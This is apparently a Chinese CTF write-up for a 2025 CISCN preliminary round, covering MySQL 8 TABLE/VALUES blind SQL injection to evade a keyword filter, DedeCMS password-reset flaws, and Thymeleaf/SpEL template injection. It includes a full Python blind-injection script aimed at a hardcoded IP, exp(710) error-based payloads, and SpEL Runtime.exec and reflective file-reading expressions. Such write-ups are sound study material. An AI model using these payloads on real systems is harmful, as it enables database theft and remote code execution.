AI-WAF

这道题不难,由于我有段时间没有看sql了,当时做题的时候先跑了一下fuzz,发现过滤了很多很多东西,注入不了,由于环境开不了,当时也想到了可能是mysql的新特性,但是没有继续研究,可惜了。

总结一下被过滤的东西,它不区分大小写,select,sleep,having,or,as,and,end.case,union,group,concat,order,where等等。

TABLE statement

找了个数据库试了一下

mysql> select * from movies;
+----+-------------------------------------------------------+------------+----------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------+--------+---------------------+
| id | title                                                 | date       | star                                                     | img                                                                                                                            | wish   | created_at          |
+----+-------------------------------------------------------+------------+----------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------+--------+---------------------+
| 31 | 咱们结婚吧                                            | 2025-11-11 | 高圆圆,姜武,李晨                                         | https://p0.pipi.cn/mmdb/d2dad592b12f2a7e12f0ee28e025fa1e196be.webp?imageMogr2/thumbnail/2500x2500%3E                           |  53763 | 2025-11-09 16:25:54 |
| 32 | 一只绣花鞋                                            | 2025-11-11 | 刘超,陶德燕,王迎奇                                       | https://p0.pipi.cn/mediaplus/friday_image_fe/0fa3345c5beea409c3160dda0672055f58c06.jpg?imageMogr2/quality/80                   |  21886 | 2025-11-09 16:25:54 |
| 33 | 洛桑的家事                                            | 2025-11-11 | 金巴,加华草,扎西                                         | https://p0.pipi.cn/mediaplus/friday_image_fe/0fa3349a3d605119bf01e862d9f89854d430d.jpg?imageMogr2/quality/80                   |   1803 | 2025-11-09 16:25:54 |
| 34 | 鬼灭之刃:无限城篇 第一章 猗窝座再袭                  | 2025-11-14 | 花江夏树,鬼头明里,下野纮                                 | https://p0.pipi.cn/mediaplus/friday_image_fe/0fa3345c4ea4a13cbcea40a9c28f600953fb0.jpg?imageMogr2/quality/80                   | 682243 | 2025-11-09 16:25:54 |
| 35 | 惊天魔盗团3                                           | 2025-11-14 | 杰西·艾森伯格,伍迪·哈里森,戴夫·弗兰科                    | https://p0.pipi.cn/mediaplus/friday_image_fe/0fa3346ec8b5c28014ea40fa03778d33581ed.jpeg?imageMogr2/quality/80                  | 313487 | 2025-11-09 16:25:54 |
| 36 | 寻砖                                                  | 2025-11-14 | 张亮,鄂靖文,刘俊孝                                       | https://p0.pipi.cn/mediaplus/friday_image_fe/0fa3346e7f0c8b72a99a13cc1bd1e4fb34de7.jpg?imageMogr2/quality/80                   |    348 | 2025-11-09 16:25:54 |
| 37 | 三滴血                                                | 2025-11-15 | 胡歌,文淇,高子淇                                         | https://p0.pipi.cn/mediaplus/friday_image_fe/0fa3345c5be14d01e84ea98a1029117b73f44.jpg?imageMogr2/quality/80                   |  18726 | 2025-11-09 16:25:54 |
| 38 | 菜肉馄饨                                              | 2025-11-15 | 周野芒,潘虹,茅善玉                                       | https://p0.pipi.cn/mediaplus/friday_image_fe/0fa3345cbf877e3f6701e8dd4bb320ef8ce12.jpg?imageMogr2/quality/80                   |   7794 | 2025-11-09 16:25:54 |
| 39 | 红豆                                                  | 2025-11-15 | 任达华,邓丽欣,魏浚笙                                     | https://p0.pipi.cn/mediaplus/bigdata_mmdb_mmdbtask/0fa3345c4ea6e3392a1faefd45763cd8794f3.jpg?imageMogr2/thumbnail/2500x2500%3E |    752 | 2025-11-09 16:25:54 |
| 40 | 次仁的夏天                                            | 2025-11-16 | 巴金旺甲,伍金尼玛,南措卓玛                               | https://p0.pipi.cn/mediaplus/friday_image_fe/0fa3345c25c77e78b13f67eab8b5610418fc5.jpg?imageMogr2/quality/80                   |    155 | 2025-11-09 16:25:54 |
+----+-------------------------------------------------------+------------+----------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------+--------+---------------------+
10 rows in set (0.00 sec)

mysql> table movies;
+----+-------------------------------------------------------+------------+----------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------+--------+---------------------+
| id | title                                                 | date       | star                                                     | img                                                                                                                            | wish   | created_at          |
+----+-------------------------------------------------------+------------+----------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------+--------+---------------------+
| 31 | 咱们结婚吧                                            | 2025-11-11 | 高圆圆,姜武,李晨                                         | https://p0.pipi.cn/mmdb/d2dad592b12f2a7e12f0ee28e025fa1e196be.webp?imageMogr2/thumbnail/2500x2500%3E                           |  53763 | 2025-11-09 16:25:54 |
| 32 | 一只绣花鞋                                            | 2025-11-11 | 刘超,陶德燕,王迎奇                                       | https://p0.pipi.cn/mediaplus/friday_image_fe/0fa3345c5beea409c3160dda0672055f58c06.jpg?imageMogr2/quality/80                   |  21886 | 2025-11-09 16:25:54 |
| 33 | 洛桑的家事                                            | 2025-11-11 | 金巴,加华草,扎西                                         | https://p0.pipi.cn/mediaplus/friday_image_fe/0fa3349a3d605119bf01e862d9f89854d430d.jpg?imageMogr2/quality/80                   |   1803 | 2025-11-09 16:25:54 |
| 34 | 鬼灭之刃:无限城篇 第一章 猗窝座再袭                  | 2025-11-14 | 花江夏树,鬼头明里,下野纮                                 | https://p0.pipi.cn/mediaplus/friday_image_fe/0fa3345c4ea4a13cbcea40a9c28f600953fb0.jpg?imageMogr2/quality/80                   | 682243 | 2025-11-09 16:25:54 |
| 35 | 惊天魔盗团3                                           | 2025-11-14 | 杰西·艾森伯格,伍迪·哈里森,戴夫·弗兰科                    | https://p0.pipi.cn/mediaplus/friday_image_fe/0fa3346ec8b5c28014ea40fa03778d33581ed.jpeg?imageMogr2/quality/80                  | 313487 | 2025-11-09 16:25:54 |
| 36 | 寻砖                                                  | 2025-11-14 | 张亮,鄂靖文,刘俊孝                                       | https://p0.pipi.cn/mediaplus/friday_image_fe/0fa3346e7f0c8b72a99a13cc1bd1e4fb34de7.jpg?imageMogr2/quality/80                   |    348 | 2025-11-09 16:25:54 |
| 37 | 三滴血                                                | 2025-11-15 | 胡歌,文淇,高子淇                                         | https://p0.pipi.cn/mediaplus/friday_image_fe/0fa3345c5be14d01e84ea98a1029117b73f44.jpg?imageMogr2/quality/80                   |  18726 | 2025-11-09 16:25:54 |
| 38 | 菜肉馄饨                                              | 2025-11-15 | 周野芒,潘虹,茅善玉                                       | https://p0.pipi.cn/mediaplus/friday_image_fe/0fa3345cbf877e3f6701e8dd4bb320ef8ce12.jpg?imageMogr2/quality/80                   |   7794 | 2025-11-09 16:25:54 |
| 39 | 红豆                                                  | 2025-11-15 | 任达华,邓丽欣,魏浚笙                                     | https://p0.pipi.cn/mediaplus/bigdata_mmdb_mmdbtask/0fa3345c4ea6e3392a1faefd45763cd8794f3.jpg?imageMogr2/thumbnail/2500x2500%3E |    752 | 2025-11-09 16:25:54 |
| 40 | 次仁的夏天                                            | 2025-11-16 | 巴金旺甲,伍金尼玛,南措卓玛                               | https://p0.pipi.cn/mediaplus/friday_image_fe/0fa3345c25c77e78b13f67eab8b5610418fc5.jpg?imageMogr2/quality/80                   |    155 | 2025-11-09 16:25:54 |
+----+-------------------------------------------------------+------------+----------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------+--------+---------------------+
10 rows in set (0.01 sec)

效果一模一样。

TABLE是MySQL 8.0.19中引入的DML语句,它返回命名表的行和列,类似于SELECT。 支持UNION联合查询、ORDER BY排序、LIMIT子句限制产生的行数。

TABLE statement与SELECT的区别

1.TABLE始终显示表的所有列

2.TABLE不允许对行进行任意过滤,即TABLE 不支持任何WHERE子句

VALUES statement

VALUES 语句在SQL中用于直接列出一行或多行的值,它能够独立使用来创建一个临时表,或者与其他SQL语句(如SELECTUNION等)结合使用。

基础用法

最简单的形式是直接使用 VALUES 来定义一行数据:

VALUES (1, 'apple'), (2, 'banana');

这会生成一个包含两行数据的临时表,每行有两个字段。

结合 UNION 使用

当与 UNION 或者 UNION ALL 结合使用时,可以用来合并来自不同来源的数据。例如:

VALUES ROW(1, 2, 3)
UNION
SELECT * FROM users;

这里,VALUES ROW(1, 2, 3) 创建了一个单行三列的临时表,然后使用 UNION 将其与 users 表中的所有数据合并。需要注意的是,users 表的结构应该与 VALUES 提供的数据结构相匹配(即同样数量的列),否则会导致错误。

判断列数

由于TABLE命令和VALUES返回的都是表数据,它们所返回的数据可以通过UNION语句联合起来,当列数不对时会报错,根据这点可以判断列数

table 表名 union values row(1,2,3)

使用values判断回显位

select * from users where id=-1 union values row(1,2,3);

列出所有数据库名

table information_schema.schemata;

盲注查询任意表中的内容

这里直接粘贴这位师傅博客的内容,讲的很清楚

SQL注入-Mysql8新特性 - 东隅 Blog

语句table users limit 1;的查询结果:

mysql> table users limit 1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set (0.00 sec)

实质上是(id, username, password)(1, 'Dumb', 'Dumb')进行比较,比较顺序为自左向右,第一列(也就是第一个元组元素)判断正确再判断第二列(也就是第二个元组元素)。 两个元组第一个字符比大小,如果第一个字符相等就比第二个字符的大小,以此类推,最终结果即为元组的大小。

mysql> select ((1,'','')<(table users limit 1));
+-----------------------------------+
| ((1,'','')<(table users limit 1)) |
+-----------------------------------+
|                                 1 |
+-----------------------------------+
1 row in set (0.00 sec)

mysql> select ((2,'','')<(table users limit 1));
+-----------------------------------+
| ((2,'','')<(table users limit 1)) |
+-----------------------------------+
|                                 0 |
+-----------------------------------+
1 row in set (0.00 sec)

mysql> select ((1,'Du','')<(table users limit 1));
+-------------------------------------+
| ((1,'Du','')<(table users limit 1)) |
+-------------------------------------+
|                                   1 |
+-------------------------------------+
1 row in set (0.00 sec)

mysql> select ((1,'Dum','')<(table users limit 1));
+--------------------------------------+
| ((1,'Dum','')<(table users limit 1)) |
+--------------------------------------+
|                                    1 |
+--------------------------------------+
1 row in set (0.00 sec)

mysql> select ((1,'Dumb','')<(table users limit 1));
+---------------------------------------+
| ((1,'Dumb','')<(table users limit 1)) |
+---------------------------------------+
|                                     1 |
+---------------------------------------+
1 row in set (0.00 sec)

mysql> select ((1,'Dumb','D')<(table users limit 1));
+----------------------------------------+
| ((1,'Dumb','D')<(table users limit 1)) |
+----------------------------------------+
|                                      1 |
+----------------------------------------+
1 row in set (0.00 sec)

需要注意的地方

1.当前判断的所在列的后一列需要用字符表示,不能用数字,否则判断到当前列的最后一个字符会判断不出!

image-20230623215735132

2.最好用<=替换<,用<比较一开始并没有问题,但到最后一位时结果为正确字符的前一个字符,用<=结果更直观。

image-20230623215752247

最终判断过程如下:

mysql> select ((1,'Dumb','Dumb')<=(table users limit 1));
+--------------------------------------------+
| ((1,'Dumb','Dumb')<=(table users limit 1)) |
+--------------------------------------------+
|                                          1 |
+--------------------------------------------+
1 row in set (0.00 sec)

mysql> select ((1,'Dumb','Dumc')<=(table users limit 1));
+--------------------------------------------+
| ((1,'Dumb','Dumc')<=(table users limit 1)) |
+--------------------------------------------+
|                                          0 |
+--------------------------------------------+
1 row in set (0.00 sec)

information_schema.schemata 表结构(MySQL)

表有6列

该表用于列出当前 MySQL 实例中所有数据库(schema)的信息,其字段如下:

列名 含义
CATALOG_NAME 目录名 —— 在 MySQL 中恒为 'def'
SCHEMA_NAME 数据库名(即你要爆的库名)
DEFAULT_CHARACTER_SET_NAME 默认字符集
DEFAULT_COLLATION_NAME 默认排序规则
SQL_PATH (保留字段,通常为 NULL)

所以看到的 ('def', 'mysql', ...) 中的 'def' 是 MySQL 对 catalog 的硬编码值,不可更改、不会变

information_schema.tables 表结构(MySQL 8.0)

该表包含 21 列,但你通常只需要关注以下关键字段:

列名 含义 是否固定/可预测
TABLE_CATALOG 目录名 恒为 'def'(和 schemata 一样)✅
TABLE_SCHEMA 所属数据库名(即“库名”) 需要爆破 🔍
TABLE_NAME 表名 需要爆破 🔍
TABLE_TYPE 表类型(如 'BASE TABLE', 'VIEW' 可判断是否是真实表
ENGINE 存储引擎(如 InnoDB, MyISAM 辅助信息
VERSION 表版本
ROW_FORMAT 行格式
…(其他列略)

📌 重点:前两列 TABLE_CATALOG = 'def' 是固定的,第三列 TABLE_SCHEMA 是库名,第四列 TABLE_NAME 是你要爆的表名。

information_schema.columns 表结构(MySQL 8.0)

该表共有 27 列,但你通常只关心以下关键字段:

列名 含义 是否固定/可预测
TABLE_CATALOG 目录名 恒为 'def'
TABLE_SCHEMA 所属数据库名(库名) 需要指定或爆破 🔍
TABLE_NAME 所属表名 需要知道(通常先爆出来)🔍
COLUMN_NAME 字段名(你要爆的目标!) 🔥 核心目标
ORDINAL_POSITION 字段在表中的位置(1, 2, 3…) 可用于排序
COLUMN_DEFAULT 默认值
IS_NULLABLE 是否允许 NULL
DATA_TYPE 数据类型(如 varchar, int 辅助判断
…(其他列略)

📌 重点前三列

  • TABLE_CATALOG = 'def'(固定)
  • TABLE_SCHEMA = '你的库名'(如 security
  • TABLE_NAME = '你的表名'(如 users
  • COLUMN_NAME 就是你想爆出来的字段,比如 username, password

典型用途:盲注爆字段名

假设你已知:

  • 数据库名:security
  • 表名:users

现在想爆 users 表有哪些字段。

MySQL 版本 information_schema.columns 列数 说明
MySQL 5.7 22 列 较旧版本,字段较少
MySQL 8.0+ 27 列 新增了 5 个列(主要是关于生成列、可见性等)

脚本

'''
@author qwzf
@desc 本脚本是用于mysql 8新特性的sql注入
@date 2021/02/18
'''
import requests
import string

url = 'http://121.41.231.75:8002/Less-8/?id='
chars=string.ascii_letters+string.digits+"@{}_-?"

def current_db(url):
    print("利用mysql8新特性或普通布尔盲注:\n1.新特性(联合查询) 2.普通布尔盲注")
    print("请输入序号:",end='')
    num = int(input())
    if num == 1:
        payload = "-1' union values row(1,database(),3)--+"  #联合查询爆当前数据库(可修改)
        urls = url + payload
        r = requests.get(url=urls)
        print(r.text)
    else:
        name=''
        payload = "1' and ascii(substr((database()),{0},1))={1}--+" #布尔盲注爆当前数据库(可修改)
        for i in range(1,40):
            char=''
            for j in chars:
                payloads = payload.format(i,ord(j))
                urls = url + payloads
                r = requests.get(url=urls)
                if "You are in" in r.text:
                    name += j
                    print(name)
                    char = j
                    break
            if char == '':
                break

def str2hex(name):
    res = ''
    for i in name:
        res += hex(ord(i))
    res = '0x' + res.replace('0x','')
    return res

def dbs(url): #无列名盲注爆所有数据库(可修改)
    while True:
        print("请输入要爆第几个数据库,如:1,2等:",end='')
        x = int(input())-1
        num = str(x)
        if x < 0:
            break
        payload = "1' and ('def',{},'',4,5,6)>(table information_schema.schemata limit "+num+",1)--+"
        name = ''
        for i in range(1,20):
            hexchar = ''
            for char in range(32, 126):
                hexchar = str2hex(name + chr(char))
                payloads = payload.format(hexchar)
                #print(payloads)
                urls = url + payloads
                r = requests.get(url=urls)
                if 'You are in' in r.text:
                    name += chr(char-1)
                    print(name)
                    break

def tables_n(url,database): #无列名盲注爆数据表开始行数(可修改)
    payload = "1' and ('def','"+database+"','','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)<(table information_schema.tables limit {},1)--+"
    for i in range(0,10000):
        payloads = payload.format(i)
        urls = url + payloads
        r = requests.get(url=urls)
        if 'You are in' in r.text:
            char = chr(ord(database[-1])+1)
            database = database[0:-1]+char
            payld = "1' and ('def','"+database+"','','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)<(table information_schema.tables limit "+str(i)+",1)--+"
            urls = url + payld
            res = requests.get(url=urls)
            #print(i)
            if 'You are in' not in res.text:
                print('从第',i,'行开始爆数据表')   #判断开始行数
                n = i
                break
    return n

def tables(url,database,n):  #无列名盲注爆数据表(可修改)
    while True:
        print("请输入要爆第几个数据表,如:1,2等:",end='')
        x = int(input())-1
        num = str(x + n)
        if x < 0:
            break
        payload = "1' and ('def','"+database+"',{},'',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)>(table information_schema.tables limit "+num+",1)--+"
        name = ''
        for i in range(1,20):
            hexchar = ''
            for char in range(32, 126):
                hexchar = str2hex(name + chr(char))
                payloads = payload.format(hexchar)
                #print(payloads)
                urls = url + payloads
                r = requests.get(url=urls)
                if 'You are in' in r.text:
                    name += chr(char-1)
                    print(name)
                    break

def columns_n(url,database,table): #无列名盲注爆字段开始行数(可修改)
    payload = "1' and ('def','"+database+"','"+table+"','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22)<(table information_schema.columns limit {},1)--+"
    for i in range(3000,10000):
        payloads = payload.format(i)
        urls = url + payloads
        r = requests.get(url=urls)
        if 'You are in' in r.text:
            char = chr(ord(table[-1])+1)
            table = table[0:-1]+char
            payld = "1' and ('def','"+database+"','"+table+"','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22)<(table information_schema.columns limit "+str(i)+",1)--+"
            urls = url + payld
            res = requests.get(url=urls)
            #print(i)
            if 'You are in' not in res.text:
                print('从第',i,'行开始爆字段')   #判断开始行数
                n = i
                break
    return n

def columns(url,database,table,n):  #无列名盲注爆字段值(可修改)
    while True:
        print("请输入要爆第几个字段,如:1,2等:",end='')
        x = int(input())-1
        num = str(x + n)
        if x < 0:
            break
        payload = "1' and ('def','"+database+"','"+table+"',{},'',6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22)>(table information_schema.columns limit "+num+",1)--+"
        name = ''
        for i in range(1,20):
            hexchar = ''
            for char in range(32, 126):
                hexchar = str2hex(name + chr(char))
                payloads = payload.format(hexchar)
                #print(payloads)
                urls = url + payloads
                r = requests.get(url=urls)
                if 'You are in' in r.text:
                    name += chr(char-1)
                    print(name)
                    break

def datas(url,table):  #无列名盲注爆数据(可修改)
    while True:
        print("请输入要爆第几个数据,如:1,2等:",end='')
        x = int(input())
        y = x-1
        num = str(y)
        if y < 0:
            break
        payload = "1' and ("+str(x)+",{},'')>(table "+table+" limit "+num+",1)--+"
        name = ''
        for i in range(1,20):
            hexchar = ''
            for char in range(32, 126):
                hexchar = str2hex(name + chr(char))
                payloads = payload.format(hexchar)
                #print(payloads)
                urls = url + payloads
                r = requests.get(url=urls)
                if 'You are in' in r.text:
                    name += chr(char-1)
                    print(name)
                    break

if __name__ == "__main__":
    while True:
        print("请输入要操作的内容:\n1.爆当前数据库\n2.爆数据表开始行号\n3.爆数据表\n4.爆字段值开始行号\n5.爆字段值\n6.爆数据\n7.爆所有数据库")
        types = int(input())
        if types == 1:
            current_db(url)
        elif types == 2 or types == 3:
            print("请输入已经得到的数据库名:",end='')
            database = input()
            if types == 2:
                tables_n(url,database)
            elif types == 3:
                print("爆数据表开始行号:",end='')
                n = int(input())
                tables(url,database,n)
        elif types == 4 or types == 5:
            print("请输入已经得到的数据库名:",end='')
            database = input()
            print("请输入已经得到的数据表名:",end='')
            table = input()
            if types == 4:
                columns_n(url,database,table)
            elif types == 5:
                print("爆字段值开始行号:",end='')
                n = int(input())
                columns(url,database,table,n)
        elif types == 6:
            print("请输入要查询的数据表名:",end='')
            table = input()
            datas(url,table)
        else:
            dbs(url)

回到题目

由于过滤了很多字段,然后当时我想用报错注入盲注是正确的,但是熟悉的两三个都得要select,concat,group by

这里利用到了👇

exp(710) 是经典报错函数

  • 其他常用报错函数还有:
    • floor(rand(0)*2)(配合 GROUP BY
    • extractvalue(1, concat(0x7e, (SELECT user())))
    • updatexml(1, concat(0x7e, (SELECT version())), 1)

基本注入方式

{"query":"-1' || if((TABLE information_schema.tables LIMIT 1)>('def','mysql','columns_pra',1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1),exp(710),1)#"}

用||代替过滤的or,然后if(condition, true_expr, false_expr)

  • MySQL 的 IF 函数:如果 condition 为真,执行 true_expr;否则执行 false_expr
  • 这里用来实现 条件判断 + 触发报错

具体脚本和利用:2025年第十九届全国大学生信息安全竞赛(ciscn)暨第三届长城杯网数智安全大赛—初赛WriteUp

Dedecms

这道题更是可惜

漏洞组合拳 | 重置dedecms管理员后台密码重现及分析 - FreeBuf网络安全行业门户

CVE-2018-20129-DedeCMS V5.7 SP2前台文件上传漏洞复现-腾讯云开发者社区-腾讯云

DeDeCMS v5.7 密码修改漏洞分析-腾讯云开发者社区-腾讯云

这个是当时写wp留下的话:

image-20251230173853068

看到这里真的会哭,哈哈,基本思路都没问题,就是没想到除了admin账号,另一个不起眼的账号就是关键,一直捣鼓怎么搞到admin账号,用这个思路搞了一段时间:重置admin前台密码—>用admin登录前台—>重置admin前后台密码 ,然后它的后台也是默认的 /dede/login.php

后面就很简单了。

EZ_JAVA

因为环境有限,当时这道题就没有看。现在跟着wp瞅一瞅,是一道java ssti

thymeleaf模板注入 | clown

通过这篇博客就可以明白。 然后通过AI,快速了解了一下SPEL

Spring Expression Language(SpEL) 的全面介绍,包括它的作用、语法、使用场景以及安全注意事项。


一、什么是 SpEL?

SpEL(Spring Expression Language) 是 Spring 框架提供的一种 强大的表达式语言,用于在运行时查询和操作对象图。它类似于 EL(Expression Language)在 JSP 中的作用,但功能更强大,支持方法调用、属性访问、逻辑运算、正则匹配、集合操作等。

📌 SpEL 最初在 Spring 3.0 引入,现在广泛用于:

  • Spring Boot 配置(@Value
  • Spring Security 权限控制(@PreAuthorize
  • Thymeleaf / Spring Web 表达式
  • 动态 Bean 定义

二、SpEL 的基本语法

SpEL 表达式通常写在 ${...}#{...} 中:

场景 语法
属性文件占位符(Property Placeholder) ${app.name} → 从配置文件取值
SpEL 表达式(真正的表达式语言) #{systemProperties['user.home']} → 执行表达式

✅ 在 Java 注解或 XML 配置中,SpEL 使用 #{...} ✅ 在 application.properties 中的 ${...} 只是属性替换,不是 SpEL(除非嵌套)


三、常见 SpEL 表达式示例

1. 访问系统属性 / 环境变量
@Value("#{systemProperties['os.name']}")
private String osName;

@Value("#{systemEnvironment['PATH']}")
private String path;
2. 调用静态方法(关键!)
// 调用 Math.random()
@Value("#{T(java.lang.Math).random()}")
private double random;

// 执行任意命令(危险!)
#{T(java.lang.Runtime).getRuntime().exec('calc')}

🔥 T(全限定类名):获取 Class 对象,从而调用其静态方法或字段

3. 操作 Bean
// 调用另一个 Bean 的方法
@Value("#{userService.getDefaultRole()}")
private String defaultRole;
4. 逻辑与算术运算
@Value("#{1 + 2 * 3}") // 结果:7
@Value("#{user.age > 18 ? 'adult' : 'minor'}")
5. 集合与数组操作
@Value("#{roles[0]}") // 第一个角色
@Value("#{roles.?[length() > 5]}") // 过滤长度 >5 的角色(投影/选择)
6. 正则表达式匹配
@Value("#{'admin@example.com'.matches('.+@example\\.com')}")
private boolean isInternalEmail; // true

四、SpEL 在哪些地方被使用?

使用场景 示例
@Value 注入 @Value("#{config.maxRetries}")
@ConditionalOnExpression 条件化加载 Bean
Spring Security @PreAuthorize("hasRole('ADMIN') or #userId == authentication.principal.id")
Thymeleaf(集成 Spring 时) ``
Spring Data JPA(@Query @Query("SELECT u FROM User u WHERE u.age > #{#minAge}")

⚠️ 注意:Thymeleaf 默认使用自己的表达式方言,但在 Spring 环境中,可以嵌入 SpEL(通过 @beanT() 等)。


五、SpEL 与安全风险(重点!)

❗ 危险点:用户输入 + SpEL = 远程代码执行(RCE)

如果应用程序将用户可控的数据拼接到 SpEL 表达式中并执行,就会导致 SpEL 注入(SpEL Injection)

示例(危险代码):
@GetMapping("/eval")
@ResponseBody
public String eval(@RequestParam String expr) {
    ExpressionParser parser = new SpelExpressionParser();
    Expression expression = parser.parseExpression(expr); // 用户输入直接解析!
    return expression.getValue().toString();
}

攻击者请求:

/eval?expr=T(java.lang.Runtime).getRuntime().exec('calc')

→ 服务器弹出计算器!

真实漏洞案例:
  • Spring Cloud Function SpEL RCE(CVE-2022-22963)
  • 某些日志组件动态格式化时拼接用户输入

六、如何安全使用 SpEL?

安全原则

  1. 永远不要将用户输入直接作为 SpEL 表达式解析。
  2. 如果必须动态计算,使用白名单变量 + 预定义模板
  3. 在表达式中避免暴露敏感类(如 RuntimeProcessBuilder)。
  4. 使用 SimpleEvaluationContext 限制功能(禁用方法调用):
// 安全上下文:只允许属性访问,禁止方法调用
EvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build();
parser.parseExpression("name").getValue(context, user);

七、SpEL vs Thymeleaf 表达式

特性 SpEL Thymeleaf 表达式
所属框架 Spring Thymeleaf
语法风格 #{...} ${...}, *{...}, @{...}
是否支持 T() ✅ 支持 ✅ 在 Spring 环境下支持
默认是否执行用户输入 否(需显式 parse) 否(除非动态模板)
常见用途 配置、权限、Bean 操作 页面渲染

💡 在 Spring Boot + Thymeleaf 项目中,两者常结合使用,因此 SSTI 可能演变为 SpEL 注入


八、总结

关键点 说明
T(Class) SpEL 中引用类的方式,可调用静态方法
主要风险 用户输入被当作 SpEL 表达式执行 → RCE
防御核心 不信任用户输入,不动态拼接表达式
安全替代 使用 SimpleEvaluationContext 或完全避免动态表达式
然后具体就是利用反射读取
//列目录
''.getClass().forName('java.nio.file.Files').walk(     ''.getClass().forName('java.nio.file.Paths').get('/'),      1 ).collect(     ''.getClass().forName('java.util.stream.Collectors').toList() )

// 原始
Files.readAllLines(Paths.get("/flag"))

// 反射 + 混淆
''.getClass().forName('java.nio.file.Files')
  .readAllLines(
     ''.getClass().forName('java.nio.file.Paths').get('/'+'fla'+'g'+'_y0u_d0nt_kn0w')))